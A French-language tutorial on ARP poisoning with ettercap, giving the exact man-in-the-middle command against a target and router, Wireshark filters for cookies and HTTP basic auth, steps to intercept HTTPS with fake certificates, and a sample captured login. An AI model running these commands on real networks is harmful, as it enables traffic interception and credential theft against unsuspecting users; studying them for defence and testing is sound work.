Une attaque de type ARP Poisoning consiste à bombarder un routeur de requête ARP en lui faisant croire que l'on est quelqu'un d'autre. Au bout d'un moment, cela va provoquer la mise à jour du cache ARP et on sera alors placé en "Man in the middle". Tout le trafic entre la machine cible et le routeur passera alors par vous et on aura ainsi la possibilité de capturer l'ensemble des informations qui transitent.

Des outils comme tcpdump permettent, certes, de faire de la capture réseau, mais entre votre hôte et une machine cible. Lorsque l'on veut capturer du trafic entre deux hôtes distants, il devient tout de suite plus simple d'utiliser ettercap qui est spécialisé dans ce genre de domaine.
Pour installer ettercap et wireshark sur une distribution à base de Debian, lancez la commande suivante en root :
apt-get install ettercap wireshark
1. ARP Poisoning Basic
Voici un exemple d'utilisation d'ettercap pour faire du ARP Poisoning (mettre sudo devant pour ubuntu) :
ettercap -T -q -M arp:remote /192.168.1.101/ /192.168.1.1/ -w result
- -T : lance ettercap en mode texte
- -q : permet de ne pas afficher les requêtes dans le terminal
- -M : indique que l'on veut une attaque de type "Man in the middle"
- -w : enregistre le résultat de la capture dans un fichier
- 192.168.1.101 est la machine cible et 192.168.1.1 est le routeur de sortie
Note : pour arrêter proprement l'attaque, il faut appuyer sur la touche q.
Le fichier de sortie result sera au format pcap (packet capture). Vous pouvez l'ouvrir avec un logiciel comme Wireshark par la suite pour analyser chaque requête faite à travers le réseau.
Voici quelques exemples de filtres à utiliser pour isoler des données sensibles :
- http.cookie
- http.authbasic
2. ARP Poisoning SSL
Si l'on souhaite également faire du ARP Poisoning sur des connexions SSL (ex: https) avec ettercap, il faudra au préalable décommenter les deux lignes iptables dans le fichier /etc/etter.conf :
# if you use iptables:
redir_command_on = iptables -t nat ...
redir_command_off = iptables -t nat ...
Lorsque l'utilisateur visitera un site en https, ettercap lui présentera un faux certificats SSL. Si ce dernier l'accepte sans prendre garde, l'ensemble du traffic chiffré sera alors capturé.

Voici un exemple de capture lors d'une connexion à un site en https :
HTTP : 88.191.250.104:443 -> USER: plop PASS: plop INFO: https://linuxfr.org/